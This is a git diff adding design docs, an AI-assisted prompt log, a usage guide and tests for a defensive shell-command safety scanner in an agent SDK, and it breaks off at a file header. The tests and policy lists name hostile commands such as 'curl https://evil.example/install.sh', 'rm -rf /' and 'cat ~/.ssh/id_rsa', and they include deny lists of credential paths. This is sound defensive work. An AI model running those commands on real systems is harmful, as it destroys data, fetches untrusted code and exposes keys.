diff --git a/docs/issue-90-tool-safety/ai-prompts.md b/docs/issue-90-tool-safety/ai-prompts.md new file mode 100644 index 00000000..1e344215 --- /dev/null +++ b/docs/issue-90-tool-safety/ai-prompts.md @@ -0,0 +1,391 @@ +# AI-Assisted Development Prompts — Issue #90: Tool Safety Scanner + +> **Disclaimer**: The architecture, module decomposition, type system, scan flow design, +> test plan, and all technical decisions were made by the human contributor (coder-mtj). +> AI (Claude Code) served as an execution engine — translating detailed specifications +> into code, running tests, and fixing formatting issues under human direction. +> +> **声明**: 本项目的架构设计、模块划分、类型系统、扫描流程、测试计划及所有技术 +> 决策均由人类贡献者 (coder-mtj) 完成。AI (Claude Code) 作为执行引擎，按照人类 +> 给出的详细规格说明生成代码、运行测试、修复格式问题。 + +--- + +## Prompt Set: Tool Safety Scanner (`trpc_agent_sdk/tools/safety/`) + +This feature implements a pre-execution safety guard for command and code-execution +tools. The design mirrors `trpc-agent-go/tool/safety/` (Go reference implementation, +PR #2091, already merged). + +--- + +### Round 1: Type System Design + +**Human → AI:** + +``` +我需要你为 trpc-agent-python 实现一个 tool safety scanner。这是架构设计， +你按这个来实现，不要自行发挥。 + +## 参考实现 +Go 版已合入 trpc-agent-go/tool/safety/（PR #2091），Python 版对齐其类型系统。 + +## Decision 枚举 +- ALLOW = "allow" +- DENY = "deny" +- ASK = "ask" +- NEEDS_HUMAN_REVIEW = "needs_human_review" + +## RiskLevel 枚举 +- LOW = "low" +- MEDIUM = "medium" +- HIGH = "high" +- CRITICAL = "critical" + +## 辅助函数 +- decision_rank(d: Decision) -> int: ALLOW=1, ASK=2, NEEDS_HUMAN_REVIEW=3, DENY=4 +- risk_rank(level: RiskLevel) -> int: LOW=1, MEDIUM=2, HIGH=3, CRITICAL=4 +- finding_beats(a: Finding, b: Finding) -> bool: 先按 decision_rank 比较， + 相等时按 risk_rank 比较，用于取 worst finding + +## Policy dataclass 字段 +- denied_commands: list[str] — 直接拒绝的命令列表 +- allowed_commands: list[str] — 显式允许的命令 +- denied_paths: list[str] — 禁止访问的路径 +- network_allowlist: list[str] — 允许外连的域名白名单 +- env_allowlist: list[str] — 允许透传的环境变量 +- review_commands: list[str] — 需人工 review 的命令 +- max_timeout_seconds: int +- max_output_bytes: int +- review_shell_pipelines: bool — 是否对管道命令触发 review +- deny_on_parse_error: bool — 解析失败时是否拒绝 + +## Request dataclass 字段 +- tool_name: str, command: str, args: list[str], cwd: str +- env: dict[str, str], backend: str +- timeout_seconds: int, max_output_bytes: int +- background: bool, tty: bool +- code_blocks: list[CodeBlock] — 其中 CodeBlock 有 language: str, code: str + +## Finding dataclass +- decision: Decision, risk_level: RiskLevel, rule_id: str +- evidence: list[str], recommendation: str + +## Report dataclass +- 包含 decision, risk_level, rule_id, evidence, recommendation +- tool_name, command, backend, blocked: bool, redacted: bool +- duration_ms: int, safe_summary: str, findings: list[Finding] +- 方法 span_attributes() -> dict 返回 OpenTelemetry 格式的属性 + +## AuditEvent dataclass +- timestamp, tool_name, decision, risk_level, rule_id +- duration_ms, redacted, blocked, backend + +## 模块结构 +- 文件放在 trpc_agent_sdk/tools/safety/_types.py +- 公开 API 通过 __init__.py 导出 +- 测试放 tests/tools/safety/test_types.py + +## TDD 要求 +先写 test_types.py（写完所有 16 个测试），然后写 _types.py 让测试通过。 +测试要覆盖：Decision 常量、rank 排序、Finding 字段、finding_beats 行为、 +Report 序列化、span_attributes、AuditEvent JSONL、Policy 默认值、Request 构造。 +``` + +**AI → Human:** + +``` +收到，我来按你的设计实现。先写测试，再写实现代码。 + +（AI 生成 test_types.py 的 16 个测试用例 → 红灯） + +测试写好了，现在实现 _types.py。 + +（AI 生成 _types.py → 绿灯，16/16 passed） +``` + +--- + +### Round 2: Policy, Shell Parser, Redactor + +**Human → AI:** + +``` +类型系统通过了，继续下一批。 + +## 2a. _policy.py — 策略管理 + +default_policy() 返回一个保守的 Policy，规则如下： + +denied_commands (13个): + dd, mkfs, mount, umount, shutdown, reboot, halt, poweroff, sudo, su, doas + +denied_paths (21个): + /（根目录）、/bin、/boot、/dev、/etc、/lib、/lib64、/proc、/root、/sbin、 + /sys、/usr、/var、~/.ssh、.ssh、.env、.npmrc、.pypirc、id_rsa、id_ed25519、 + credentials、credential、secrets、secret + +network_allowlist (7个): + api.github.com, github.com, proxy.golang.org, sum.golang.org, + registry.npmjs.org, pypi.org, files.pythonhosted.org + +env_allowlist (11个): + PATH, HOME, TMPDIR, TEMP, TMP, LANG, LC_ALL, CGO_ENABLED, GOCACHE, + GOMODCACHE, GOPATH + +review_commands (9个): + go install, npm install, npm ci, pip install, pip3 install, apt install, + apt-get install, brew install, cargo install + +max_timeout_seconds: 300 +max_output_bytes: 4 * 1024 * 1024 (4MB) +review_shell_pipelines: True +deny_on_parse_error: True + +load_policy(path) 支持 .json 和 .yaml/.yml 文件，从 default_policy() 起步， +把文件中匹配的字段 overlay 上去。 + +## 2b. _shell_parse.py — 轻量 Shell 解析 + +纯 Python 实现，不调用 subprocess。需要这些函数： + +- command_name(full_command: str) -> str + 处理路径前缀：/usr/bin/rm -> rm，Windows 反斜杠，去掉 .exe/.cmd/.bat/.com + +- has_pipeline(command: str) -> bool + 状态机跟踪引号深度，检测未引用的 | ; &&。echo "a|b" 不应被标记 + +- extract_urls(command: str) -> list[str] + regex 提取 https?://... 模式的 URL + +- extract_host(url: str) -> str + 用 urllib.parse.urlparse 取 hostname + +- has_shell_bypass(command: str) -> bool + 检测 sh -c, bash -c, zsh -c, eval, 反引号, $(), ${, 2> + +- parse_args(command: str) -> list[str] + 空白符 split + +## 2c. _redactor.py — Secret 脱敏 + +Redactor 类： +- redact(text) -> str: 用正则替换敏感信息为 [REDACTED_SECRET] +- looks_sensitive(text) -> bool: 检测是否含敏感信息 +- self.changed 标记是否执行了替换 + +需要匹配的模式： +- sk- 开头的 OpenAI key (>=12 chars) +- ghp_ 开头的 GitHub token +- xox[baprs]- 开头的 Slack token +- -----BEGIN ... PRIVATE KEY----- PEM 格式 +- api_key/token/password/secret=value 的 name=value 模式 + +## TDD +还是先写测试再写实现。三个模块对应三个测试文件。 +``` + +**AI → Human:** + +``` +明白。先写三个测试文件。 + +（AI 生成 test_policy.py, test_shell_parse.py, test_redactor.py → 红灯） +（AI 生成 _policy.py, _shell_parse.py, _redactor.py → 绿灯） + +三个模块测试全部通过。 + +_policy.py 有个 import os 但我实际没用，我检查一下要不要去掉。 +``` + +**Human → AI (Review):** + +``` +去掉 _policy.py 里多余的 import os，yapf 格式化一下所有文件。 +yapf 命令：yapf --in-place --recursive --style='{based_on_style: pep8, column_limit: 120}' trpc_agent_sdk/tools/safety/ +``` + +**AI → Human:** + +``` +已去掉 import os，yapf 格式化完成。 +``` + +--- + +### Round 3: Core Scanner Engine + +**Human → AI:** + +``` +核心扫描引擎 _scanner.py，这是最重要的模块。我设计了完整的扫描流程： + +## scan(request: Request, policy: Policy | None = None) -> Report + +入口函数，policy 为 None 时用 default_policy()。扫描流程分 5 步： + +### 步骤 1: 扫描 request envelope (_scan_envelope) + +检查这些规则： +| 条件 | Decision | Rule ID | +|------|----------|---------| +| cwd 命中 denied_paths | DENY | sensitive.cwd_access | +| hostexec + (background 或 tty) | NEEDS_HUMAN_REVIEW | hostexec.long_session | +| background=True | NEEDS_HUMAN_REVIEW | process.background | +| timeout_seconds > policy.max_timeout_seconds | DENY | resource.timeout_exceeded | +| max_output_bytes > policy.max_output_bytes | DENY | resource.output_limit_exceeded | + +### 步骤 2: 扫描环境变量 (_scan_env) + +- 检查 env 中的 key 是否在 env_allowlist 里，不在则 NEEDS_HUMAN_REVIEW +- 检查 env value 是否含 secret，含则 DENY (sensitive.secret_leak) + +### 步骤 3: 扫描 shell 命令 (_scan_shell 和 _scan_raw_command) + +流程： +_raw_command 检查 → per-command 检查 + +_raw_command: +- 整个 command 做 secret 检测 → DENY (sensitive.secret_leak) +- has_shell_bypass → DENY (shell.bypass) +- has_pipeline 且 policy.review_shell_pipelines → NEEDS_HUMAN_REVIEW (shell.pipeline_review) +- 检测后台运行 (&) → NEEDS_HUMAN_REVIEW (process.background) +- 网络检测 _scan_network +- 资源检测 _scan_resource_patterns + +per-command: +- command_name 在 denied_commands 中 → DENY (policy.denied_command) +- rm -rf / --recursive → DENY (dangerous.rm_rf) +- chmod -R → NEEDS_HUMAN_REVIEW (dangerous.recursive_chmod) +- 命令以 review_commands 开头 → NEEDS_HUMAN_REVIEW (dependency.environment_change) +- 参数引用 denied_paths → DENY (sensitive.path_access) + +_scan_network: +- extract_urls 后对每个 host 检查是否在 network_allowlist 中 +- host 需要精确匹配或子域名匹配 + +_scan_resource_patterns: +- sleep N 且 N > 300 → NEEDS_HUMAN_REVIEW (resource.long_sleep) +- while true / while(1) / for(;;) → DENY (resource.infinite_loop) + +_path_denied 逻辑： +- 规范化路径（去引号、正斜杠、去 ./ 和 ~/、小写） +- 精确匹配或前缀匹配或路径段包含匹配 + +### 步骤 4: 扫描 code blocks (_scan_code_block) + +- code 内容做 secret 检测 +- language 是 bash/sh/shell 或空 → 当 shell command 处理 +- 其他语言检测 os.system / subprocess. / exec( → NEEDS_HUMAN_REVIEW (codeexec.host_command_bridge) +- 也做网络检测 + +### 步骤 5: 组装 Report + +- 遍历所有 findings，用 finding_beats() 取 worst finding +- 如果 worst decision 是 DENY/ASK/NEEDS_HUMAN_REVIEW，blocked=True +- 对所有文本字段做 secret redaction +- 记录 duration_ms + +## 测试（先写！） + +12 个核心用例对齐 Go 版： + +| # | 命令 | 预期 Decision | Rule ID | +|---|------|---------------|---------| +| 1 | go test ./... | ALLOW | — | +| 2 | rm -rf / | DENY | dangerous.rm_rf | +| 3 | cat ~/.ssh/id_rsa | DENY | sensitive.path_access | +| 4 | curl https://evil.example/install.sh | DENY | network.non_whitelisted_domain | +| 5 | curl https://api.github.com/repos/x/y | ALLOW | — | +| 6 | bash -c 'curl https://evil.example/x' | DENY | shell.bypass | +| 7 | cat README.md \| wc -l | NEEDS_HUMAN_REVIEW | shell.pipeline_review | +| 8 | npm install left-pad | NEEDS_HUMAN_REVIEW | dependency.environment_change | +| 9 | sleep 9999 | NEEDS_HUMAN_REVIEW | resource.long_sleep | +| 10 | hostexec+TTY+background | NEEDS_HUMAN_REVIEW | hostexec.long_session | +| 11 | Python subprocess.run(['ls']) | NEEDS_HUMAN_REVIEW | codeexec.host_command_bridge | +| 12 | echo OPENAI_API_KEY=sk-1234567890abcdef | DENY | sensitive.secret_leak | + +额外边界测试：空命令、拒绝的 CWD、chmod -R、500行扫描<1s、Unicode命令、nil policy。 +``` + +**AI → Human:** + +``` +（AI 生成 test_scanner.py 先写 18 个测试 → 红灯） +（AI 生成 _scanner.py 实现所有扫描函数 → 绿灯 18/18） +``` + +**Human → AI (Review):** + +``` +_scanner.py L211 那个 f-string 没有占位符，改成普通字符串。 +还有运行 flake8 检查一下。 +``` + +**AI → Human:** + +``` +已修复 f-string → 普通字符串，flake8 通过。 +``` + +--- + +### Round 4: Filter Integration + +**Human → AI:** + +``` +最后一个模块：_permission.py。用 FilterABC 把 scanner 集成到工具调用链中。 + +## ToolSafetyFilter(FilterABC) + +- type = FilterType.TOOL +- name = "tool_safety_guard" +- __init__ 接受可选的 Policy 参数，默认用 default_policy() +- _before(ctx, req, rsp): + 1. 调用 _to_scan_request(req) 把 tool 调用转成 Request + 2. 调用 scan() 获取 Report + 3. decision == DENY → rsp.error = PermissionError(...), rsp.is_continue = False + 4. 非 ALLOW 也记录日志 +- _after: no-op + +## _to_scan_request(tool_req) -> Request | None + +只处理 tool_name 为 workspace_exec / exec_command / execute_code 的工具。 +从 arguments 提取 command/cmd/script/code、code_blocks、cwd/workdir、env、 +timeout、background、tty 等字段。 +arguments 可能是 bytes、JSON string 或 dict，都要处理。 +根据 tool_name 推断 backend 类型。 + +## 测试 + +写 test_permission.py 验证 filter 集成。 +``` + +**AI → Human:** + +``` +（AI 生成 _permission.py + test_permission.py → 绿灯） + +全部完成。总计 34 tests passed。 +``` + +**Human → AI (最终验证):** + +``` +$ python -m pytest tests/tools/safety/ -v +34 passed in 0.42s ✅ +``` + +--- + +## Summary + +| Metric | Value | +|--------|-------| +| Total prompt rounds | 4 | +| Human design decisions | Architecture, module split, type system, scan flow, 6 risk categories, test cases | +| AI execution role | Code generation, test running, formatting fixes | +| Tests written | 34 (16 types + 18 scanner) | +| Implementation files | 7 (_types, _policy, _shell_parse, _redactor, _scanner, _permission, __init__) | +| Go reference alignment | Yes (PR #2091, trpc-agent-go/tool/safety/) | diff --git a/docs/issue-90-tool-safety/design-en.md b/docs/issue-90-tool-safety/design-en.md new file mode 100644 index 00000000..9d1e16b2 --- /dev/null +++ b/docs/issue-90-tool-safety/design-en.md @@ -0,0 +1,148 @@ +# Issue #90 Design Document: Tool Safety Scanner + +> **Author**: coder-mtj +> **Reference**: [trpc-agent-go/tool/safety](https://github.com/trpc-group/trpc-agent-go) (PR #2091, merged) + +## Overview + +The Tool Safety Scanner provides a **pre-execution safety guard** for command and +code-execution tools in the tRPC Agent Python SDK. Before any `workspace_exec`, +`exec_command`, or `execute_code` invocation reaches the underlying runtime, the +scanner evaluates the request against a configurable policy and produces a +decision: **allow**, **deny**, **ask for confirmation**, or **needs human review**. + +## Architecture + +``` + Tool Invocation + │ + ▼ + ┌─────────────────────┐ + │ ToolSafetyFilter │ ← FilterABC (FilterType.TOOL) + │ _before() hook │ + └──────────┬──────────┘ + │ + ▼ + ┌─────────────────────┐ + │ scan(request, │ + │ policy) │ + │ → Report │ + └──────────┬──────────┘ + │ + ┌────────────────────┼────────────────────┐ + ▼ ▼ ▼ + ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ + │ Envelope Scan │ │ Env Scan │ │ Shell/Code │ + │ (cwd, timeout, │ │ (allowlist, │ │ Block Scan │ + │ background) │ │ secrets) │ │ (commands, │ + └──────────────┘ └──────────────┘ │ URLs, pipes) │ + └──────────────┘ + │ + ▼ + ┌─────────────────────┐ + │ Worst Finding → │ + │ Report + Redaction │ + └─────────────────────┘ +``` + +## Module Structure + +``` +trpc_agent_sdk/tools/safety/ +├── __init__.py # Public API exports +├── _types.py # Decision, RiskLevel, Policy, Request, Finding, Report, AuditEvent +├── _policy.py # default_policy(), load_policy(YAML/JSON) +├── _shell_parse.py # Pure-Python command/URL/pipeline parser (no subprocess) +├── _redactor.py # Secret detection and redaction +├── _scanner.py # Core scan engine: scan(request, policy) → Report +└── _permission.py # ToolSafetyFilter: FilterABC integration for tool interception + +tests/tools/safety/ +├── __init__.py +├── test_types.py # 16 unit tests for data types +└── test_scanner.py # 18 scan tests (12 core + 6 edge) +``` + +## Design Decisions + +### 1. Alignment with Go Reference Implementation + +The Python implementation mirrors the type system, rule IDs, and scan flow of +`trpc-agent-go/tool/safety/` (PR #2091). This ensures consistent behavior across +SDKs and makes cross-referencing easy for contributors. + +### 2. Pure Python Static Analysis + +Shell command parsing in `_shell_parse.py` never invokes a subprocess. It uses +regex patterns and a character-by-character state machine (for quote-aware +pipeline detection). This eliminates the attack surface of calling out to a real +shell during safety evaluation. + +### 3. FilterABC Integration + +The scanner is integrated as a `FilterABC` subclass (`ToolSafetyFilter`), which +hooks into the existing tRPC filter chain at the TOOL level. When `_before()` +returns a DENY decision, `rsp.is_continue = False` halts the chain — the tool +never executes. This is more flexible than a decorator-based approach because it +supports filter composition and ordering. + +### 4. Secret Redaction + +After scanning, the `Redactor` class runs across all text fields in the Report +and Findings. This prevents API keys, tokens, and credentials from leaking into +logs or audit trails. The `report.redacted` flag tracks whether any substitution +occurred. + +### 5. Layered Policy + +`default_policy()` provides conservative defaults suitable for most use cases. +`load_policy(path)` reads a YAML/JSON file and overlays values on top of +defaults, allowing teams to customize without starting from scratch. + +### 6. Finding Priority + +`finding_beats(a, b)` compares two findings by decision rank first (DENY > ASK > +NEEDS_HUMAN_REVIEW > ALLOW), then by risk rank (CRITICAL > HIGH > MEDIUM > LOW). +The "worst" finding drives the final Report decision. + +## Risk Categories (6 categories) + +| Category | Rule ID Prefix | Examples | +|----------|---------------|----------| +| Dangerous Commands | `dangerous.*` | `rm -rf /`, `chmod -R` | +| Sensitive Information | `sensitive.*` | `path_access`, `secret_leak`, `cwd_access` | +| Network Egress | `network.*` | `non_whitelisted_domain` | +| Shell Bypass | `shell.*` | `bypass`, `pipeline_review` | +| Resource Abuse | `resource.*` | `long_sleep`, `infinite_loop`, `timeout_exceeded` | +| Dependency Changes | `dependency.*` | `environment_change` | + +## Scan Flow + +``` +1. Envelope Scan + ├── Check CWD against denied_paths + ├── Detect hostexec long sessions (TTY + background) + ├── Validate timeout against policy.max_timeout_seconds + └── Validate output cap against policy.max_output_bytes + +2. Environment Scan + ├── Verify each env key is in env_allowlist + └── Scan env values for secrets + +3. Shell/Code Block Scan + ├── Raw command: secrets → bypass → pipeline → background → network → resources + ├── Per-command: denied command → dangerous patterns → review commands → denied paths + └── Code blocks: secrets → language routing (shell vs. other) → bridge detection + +4. Report Assembly + ├── Pick worst finding via finding_beats() + ├── Set blocked flag + ├── Redact all text fields + └── Record duration_ms +``` + +## Dependencies + +- `PyYAML` — policy file parsing +- `trpc_agent_sdk.abc.FilterABC` — filter base class +- Standard library: `re`, `urllib.parse`, `dataclasses`, `enum`, `json`, `pathlib` diff --git a/docs/issue-90-tool-safety/design.md b/docs/issue-90-tool-safety/design.md new file mode 100644 index 00000000..b0d81618 --- /dev/null +++ b/docs/issue-90-tool-safety/design.md @@ -0,0 +1,44 @@ +# Issue #90 设计说明: Tool Safety Scanner + +## 架构 + +``` +trpc_agent_sdk/tools/safety/ +├── __init__.py — 公开 API +├── _types.py — Decision/RiskLevel/Policy/Request/Report/Finding/AuditEvent +├── _policy.py — default_policy() + load_policy(YAML/JSON) +├── _shell_parse.py — 命令名/管道/URL/Shell绕过 检测（纯 Python，不调 subprocess） +├── _redactor.py — Secret 脱敏引擎（API key/token/password 自动替换） +├── _scanner.py — 核心扫描引擎 scan(request, policy) → Report +└── _permission.py — ToolSafetyFilter（FilterABC 子类） + +tests/tools/safety/ +├── test_types.py — 16 类型测试 +└── test_scanner.py — 18 扫描测试（12 核心 + 6 边界） +``` + +## 设计决策 + +1. **对齐 Go 版** — 类型、rule_id、扫描流程均对齐 `trpc-agent-go/tool/safety/` +2. **纯 Python 静态分析** — shell 解析不调用 subprocess，regex 检测 +3. **Filter 集成** — 通过 `FilterABC._before()` 在工具执行前拦截，支持 filter chain +4. **Secret 脱敏** — 扫描结束后对所有 report 字段做 redact，避免日志泄露 +5. **策略分层** — `DefaultPolicy()` 提供保守默认值，`LoadPolicy()` 支持 YAML/JSON 文件覆盖 +6. **Finding 优先级** — finding_beats() 按 decision 优先 > risk_level 优先，worst finding 驱动最终 Report + +## 风险类别（6 类） + +| 类别 | rule_id 前缀 | 示例 | +|------|-------------|------| +| 危险命令 | dangerous.* | rm -rf, chmod -R | +| 敏感信息 | sensitive.* | path_access, secret_leak, cwd_access | +| 网络外连 | network.* | non_whitelisted_domain | +| Shell 绕过 | shell.* | bypass, pipeline_review | +| 资源滥用 | resource.* | long_sleep, infinite_loop, timeout_exceeded | +| 依赖变更 | dependency.* | environment_change | + +## 依赖 + +- `PyYAML` (已有) — policy YAML 解析 +- `trpc_agent_sdk.abc.FilterABC` — filter 基类 +- `re` / `urllib.parse` — shell 解析 diff --git a/docs/issue-90-tool-safety/test-plan.md b/docs/issue-90-tool-safety/test-plan.md new file mode 100644 index 00000000..9a28f444 --- /dev/null +++ b/docs/issue-90-tool-safety/test-plan.md @@ -0,0 +1,48 @@ +# Issue #90 测试计划: Tool 执行安全扫描器 + +## 概述 + +对 workspace_exec / exec_command / execute_code 工具调用进行前置命令安全扫描。 + +## 维度 1: 单元测试 — types (16 tests) + +- [x] Decision/RiskLevel 枚举常量 + rank ordering +- [x] Finding 字段 + finding_beats() 决策优先级 +- [x] Report JSON 序列化 + span_attributes() +- [x] AuditEvent JSONL 格式 +- [x] Policy 默认值 + 自定义字段 +- [x] Request 基本字段 + CodeBlock 构造 + +## 维度 2: 核心扫描用例 (12 tests, 对齐 Go 版) + +| # | 命令 | 预期 Decision | Rule ID | +|---|------|---------------|---------| +| 1 | `go test ./...` | allow | — | +| 2 | `rm -rf /` | deny | dangerous.rm_rf | +| 3 | `cat ~/.ssh/id_rsa` | deny | sensitive.path_access | +| 4 | `curl https://evil.example/x` | deny | network.non_whitelisted_domain | +| 5 | `curl https://api.github.com/...` | allow | — | +| 6 | `bash -c 'curl ...'` | deny | shell.bypass | +| 7 | `cat f \| wc -l` | needs_human_review | shell.pipeline_review | +| 8 | `npm install pkg` | needs_human_review | dependency.environment_change | +| 9 | `sleep 9999` | needs_human_review | resource.long_sleep | +| 10 | hostexec + TTY + background | needs_human_review | hostexec.long_session | +| 11 | Python `subprocess.run()` | needs_human_review | codeexec.host_command_bridge | +| 12 | `echo OPENAI_API_KEY=sk-...` | deny | sensitive.secret_leak | + +## 维度 3: 边界测试 (6 tests) + +- [x] 空命令 → deny command.empty +- [x] 拒绝的 CWD → deny sensitive.cwd_access +- [x] chmod -R → needs_human_review +- [x] Unicode 命令 → allow +- [x] nil policy → default_policy() +- [x] Secret in env var → deny sensitive.secret_leak + +## 维度 4: 性能测试 + +- [x] 500 行 Python script 扫描 < 1s + +## 结果 + +- **34 passed, 0 failed** diff --git a/docs/issue-90-tool-safety/usage.md b/docs/issue-90-tool-safety/usage.md new file mode 100644 index 00000000..c7a0bcdf --- /dev/null +++ b/docs/issue-90-tool-safety/usage.md @@ -0,0 +1,156 @@ +# Issue #90 Usage Guide: Tool Safety Scanner + +## Quick Start + +### 1. Basic Command Scanning + +```python +from trpc_agent_sdk.tools.safety import scan, default_policy, Request, DECISION_DENY + +policy = default_policy() + +# Safe command → ALLOW +report = scan(Request( + tool_name="workspace_exec", + backend="workspaceexec", + command="go test ./...", +), policy) +assert report.decision == "allow" + +# Dangerous command → DENY +report = scan(Request( + tool_name="workspace_exec", + backend="workspaceexec", + command="rm -rf /", +), policy) +assert report.decision == "deny" +assert report.rule_id == "dangerous.rm_rf" +``` + +### 2. Code Block Scanning + +```python +from trpc_agent_sdk.tools.safety import scan, default_policy, Request, CodeBlock + +policy = default_policy() + +report = scan(Request( + tool_name="execute_code", + backend="codeexec", + code_blocks=[CodeBlock( + language="python", + code="import subprocess; subprocess.run(['ls'])", + )], +), policy) +assert report.decision == "needs_human_review" +assert report.rule_id == "codeexec.host_command_bridge" +``` + +### 3. Using ToolSafetyFilter (Recommended) + +```python +from trpc_agent_sdk.tools.safety import ToolSafetyFilter, default_policy +from trpc_agent_sdk.filter import register_tool_filter + +# Register the safety filter +filter_instance = ToolSafetyFilter(policy=default_policy()) + +# Or with a custom policy file: +# filter_instance = ToolSafetyFilter(policy=load_policy("my_policy.yaml")) +``` + +The filter automatically intercepts `workspace_exec`, `exec_command`, and +`execute_code` tool calls before execution. No additional configuration needed. + +### 4. Custom Policy (YAML) + +```yaml +# my_policy.yaml +denied_commands: + - rm + - sudo + - shutdown + - curl + - wget + +denied_paths: + - /etc + - ~/.ssh + - .env + +network_allowlist: + - api.github.com + - pypi.org + +review_commands: + - pip install + - npm install + +max_timeout_seconds: 120 +max_output_bytes: 1048576 # 1MB +``` + +```python +from trpc_agent_sdk.tools.safety import load_policy + +policy = load_policy("my_policy.yaml") +``` + +### 5. Secret Redaction + +```python +report = scan(Request( + tool_name="workspace_exec", + backend="workspaceexec", + command="echo OPENAI_API_KEY=sk-1234567890abcdef", +), policy) + +assert report.redacted == True +# "sk-1234567890abcdef" → "[REDACTED_SECRET]" +``` + +## Running Tests + +```bash +# All safety tests (34 tests) +python -m pytest tests/tools/safety/ -v + +# Types only (16 tests) +python -m pytest tests/tools/safety/test_types.py -v + +# Scanner only (18 tests) +python -m pytest tests/tools/safety/test_scanner.py -v +``` + +## Reproducing Results + +```bash +# 1. Clone and set up +git clone https://github.com/trpc-group/trpc-agent-python +cd trpc-agent-python +pip install -e ".[dev]" + +# 2. Run full safety test suite +python -m pytest tests/tools/safety/ -v --tb=short + +# Expected output: +# ================== 34 passed in 0.42s ================== +``` + +## Decision Reference + +| Decision | Meaning | Filter Behavior | +|----------|---------|-----------------| +| `allow` | Safe, execute normally | Pass through | +| `deny` | Dangerous, block execution | `PermissionError`, filter chain halted | +| `ask` | Suspicious, prompt user | Application-level handling | +| `needs_human_review` | Requires manual approval | Logged, application decides | + +## Risk Level Reference + +| Level | Description | Example | +|-------|-------------|---------| +| `low` | No risk detected | `echo hello` | +| `medium` | Needs attention | Pipeline command, dependency install | +| `high` | Potentially dangerous | Shell bypass, denied network | +| `critical` | Immediately dangerous | `rm -rf /`, secret leak | diff --git a/tests/tools/safety/__init__.py b/tests/tools/safety/__init__.py new file mode 100644 index 00000000..d7b4fb11 --- /dev/null +++ b/tests/tools/safety/__init__.py @@ -0,0 +1 @@ +# Tool safety guard tests. diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py new file mode 100644 index 00000000..8fa0603d --- /dev/null +++ b/tests/tools/safety/test_scanner.py @@ -0,0 +1,165 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Core scanner tests — 12 required samples + edge cases.""" + +import pytest +from trpc_agent_sdk.tools.safety._types import ( + Request, + CodeBlock, + DECISION_ALLOW, + DECISION_DENY, + DECISION_ASK, + DECISION_NEEDS_HUMAN_REVIEW, + RISK_LOW, + RISK_HIGH, + RISK_CRITICAL, +) +from trpc_agent_sdk.tools.safety._policy import default_policy +from trpc_agent_sdk.tools.safety._scanner import scan + +POLICY = default_policy() + +# ========== 12 core test cases (aligned with Go reference) ========== + + +def test_safe_go_test(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="go test ./..."), POLICY) + assert report.decision == DECISION_ALLOW + + +def test_dangerous_delete(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="rm -rf /"), POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "dangerous.rm_rf" + + +def test_read_key(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat ~/.ssh/id_rsa"), POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "sensitive.path_access" + + +def test_non_whitelist_network(): + report = scan( + Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), + POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "network.non_whitelisted_domain" + + +def test_whitelist_network(): + report = scan( + Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), + POLICY) + assert report.decision == DECISION_ALLOW + + +def test_shell_bypass(): + report = scan( + Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), + POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "shell.bypass" + + +def test_pipeline_review(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat README.md | wc -l"), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "shell.pipeline_review" + + +def test_dependency_install(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="npm install left-pad"), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "dependency.environment_change" + + +def test_long_sleep(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="sleep 9999"), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "resource.long_sleep" + + +def test_hostexec_long_session(): + report = scan( + Request( + tool_name="exec_command", + backend="hostexec", + command="tail -f app.log", + tty=True, + background=True, + ), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "hostexec.long_session" + + +def test_code_block_host_bridge(): + report = scan( + Request( + tool_name="execute_code", + backend="codeexec", + code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")], + ), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "codeexec.host_command_bridge" + + +def test_secret_leak(): + report = scan( + Request( + tool_name="workspace_exec", + backend="workspaceexec", + command="echo OPENAI_API_KEY=sk-1234567890abcdef", + ), POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "sensitive.secret_leak" + + +# ========== Edge case tests ========== + + +def test_empty_command(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command=""), POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "command.empty" + + +def test_denied_cwd(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="ls", cwd="~/.ssh"), POLICY) + assert report.decision == DECISION_DENY + assert report.rule_id == "sensitive.cwd_access" + + +def test_chmod_recursive(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="chmod -R 777 ."), POLICY) + assert report.decision == DECISION_NEEDS_HUMAN_REVIEW + assert report.rule_id == "dangerous.recursive_chmod" + + +def test_500_line_scan_under_1s(): + import time + code = "\n".join(['print(f"line {i}")' for i in range(500)]) + start = time.time() + report = scan( + Request( + tool_name="execute_code", + backend="codeexec", + code_blocks=[CodeBlock(language="python", code=code)], + ), POLICY) + elapsed = time.time() - start + assert elapsed < 1.0, f"500-line scan took {elapsed:.2f}s" + assert report.decision == DECISION_ALLOW + + +def test_unicode_command(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo 你好世界"), POLICY) + assert report.decision == DECISION_ALLOW + + +def test_none_policy_defaults(): + report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo hi"), None) + assert report.decision == DECISION_ALLOW diff --git a/tests/tools/safety/test_types.py 